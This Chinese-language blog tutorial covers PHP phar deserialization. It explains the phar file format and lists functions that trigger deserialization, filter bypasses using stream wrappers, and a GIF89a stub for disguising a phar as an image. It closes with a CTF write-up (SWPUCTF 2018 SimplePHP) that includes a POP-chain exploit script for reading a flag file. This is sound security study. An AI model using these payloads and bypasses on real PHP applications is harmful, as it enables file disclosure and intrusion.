phar反序列化

认识phar

phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容,如果学过java的朋友应该知道jar文件,和那个可以说是很像了。为什么可以在序列化和反序列化的点上利用?这和phar中的meta-data有很大的关系,meta-data 是以序列化的形式存储的,那么,如果当phar文件以流的形式被打开会进行一次反序列化,简单来说就是phar://协议会触发反序列化。这个后面慢慢说,一个phar文件的结构有四个部分:

1.stub: phar文件的标识,以xxxxx<?php xxx; __HALT_COMPILER();?>为固定格式,前面的可以不管,但是必须得以__HALT_COMPLIER();结尾phar文件扩展是通过这个识别phar文件,与gif图片格式中的GIF89a开头的固定格式是相同的道理。

生成文件的后缀名为phar。这种格式就相当于gif图片中的GIF89a一样。没有这个格式就不会识别这是一个phar文件。
————————————————

2. a manifest describing the contents:Phar文件中被压缩的文件的一些信息以及压缩文件的权限,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点,我们构造的exp就放在这个部分内。

3.the file contents:这里放的是压缩文件内的内容,我们真正的目的是构造exp利用phar反序列化,所以这里的内容可以随便写,并不影响。

4.a signature for verifying Phar integrity:签名。放在最末,算是一个匹配符,将前面除了签名用SHA1、MD5或SHA256加密所有的内容后来匹配(可以百度了解更多)。在这里可能用不上,但是在phar反序列化配上GC回收机制的时候这个点会派上大用场。


phar伪协议

 因为phar就是将多个文档压缩到一个文件当中,phar文件中的Mata-data会进行序列化,在我们访问phar文件中的文档时,我们不需要对它进行解压。可以通过phar://为协议对文件进行读取。当phar文件被解析时,Meta-data中的数据就会被反序列化。

构造phar文件

在本地生成一个phar文件,并想使用phar类里面的方法,就必须将php.ini配置文件中的phar.readonly改为0或者off(分号时注释,删掉)//记住要把分号删除,不然就会一直报错的。

这个phar压缩文件并不是右键点击一键生成的,而是通过写脚本来生成这个phar文件的。

接下来在本地实验生成phar文件。


<?php
class XiLitter{
    public $str = "this is pig";
}
$a = new XiLitter();
 
$phar = new phar('a.phar');//对phar对象进行实例化,以便后续操作。
 
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
 
$phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式
 
$phar -> setMetadata($a);//把我们的对象写进Metadata中
 
$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写
 
$phar -> stopBuffering();//停止缓冲

写完以后运行,发现目录下生成了一个a.phar文件

打开发现,自己定义的类被序列化了,说明这里可以利用反序列化漏洞

现在我们来验证一下用phar伪协议是否能自动进行反序列化

 <?php
  class XiLitter{
     function __destruct()//对象在反序列化时自动触发
      {
          echo $this->str;//检验是否进行了反序列化
     }
  }
  $filename =  "phar://a.phar/test.txt";
 echo(file_get_contents($filename));

运行可以看出Meta-data中的数据确实被反序列化了。

 触发函数

fimeatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
parse_ini_file
unlink
copy

绕过不允许phar://开头

compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过图片 

phar可以修改后缀,a.phar可以改成,a.png,a.gif,a.jpg

文件开头加GIF89a,伪装成gif文件

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

 然后就是例题了,

[SWPUCTF 2018]SimplePHP

打开

发现界面这样,看见上传文件,感觉是一道文件上传的题目

 

查看file.php发现 文件又包含,function.php,class.php继续查看

打开class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

 pop链表,这道题让我意识到运用phar的是,里面没有unserialize反序列化函数,

先构造,找链尾, Test 类中的$text = base64_encode(file_get_contents($value));

然后往前面看

 public function __get($key)
    {
        return $this->get($key);            会调用下面的get函数
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);    调用下面的
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

      然后想如何调用,_get魔术方法, 是用到本类没有的方法会调用到

         public function __toString()            //show类中
    {
        $content = $this->str['str']->source;    
        return $content;
    }                       

 然后想如何调用_tostring方法, 输出字符串或者运用

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()       反序列化自动调用,所以这就是链表头了,正好结束
    {
        $this->test = $this->str;
        echo $this->test;      输出字符串的方法就会调用
    }
}

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c=new C1e4r();
$s=new Show();
$t=new Test();
$c->str=$s;
$s->str['str']=$t;
$t->params['source']="/var/www/html/f1ag.php";
$phar = new phar("a.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 添加要压缩的文件 */
$phar->setMetadata($c);
$phar->addFromString("test.txt","test1");
$phar->stopBuffering();

?>

$t->params['source']="/var/www/html/f1ag.php";

我在这遇到坑了,['source']是用引号,而不是$source

注:我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。

所以是params[‘source’]。

 生成phar文件后,发现对文件后缀进行了限制。我们抓包修改phar文件后缀为jpg绕过,上传。

 

base64解码结束, 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值